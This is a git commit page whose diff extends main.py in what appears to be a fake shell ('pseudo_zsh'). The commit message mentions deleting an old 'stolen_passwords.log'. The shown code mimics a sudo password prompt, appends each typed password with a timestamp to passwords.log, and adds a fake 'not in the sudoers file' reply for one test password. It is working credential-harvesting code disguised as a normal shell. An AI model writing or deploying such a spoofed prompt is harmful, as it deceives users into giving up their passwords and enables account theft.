在 main.py 中添加对特定密码的处理逻辑,并更新密码日志文件,删除旧的 stolen_passwords.log 文件

This commit is contained in:
2025-04-06 22:21:01 +08:00
Unverified
parent 1a42a9370c
commit 3b16fb85a0
3 changed files with 9 additions and 0 deletions

View File

@@ -79,6 +79,9 @@ def pseudo_zsh():
if args[0] == 'sudo':
for attempt in range(3): # 循环 3 次
fake_password = getpass.getpass("Password: ")
if fake_password == "1234":
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
break
with open("passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码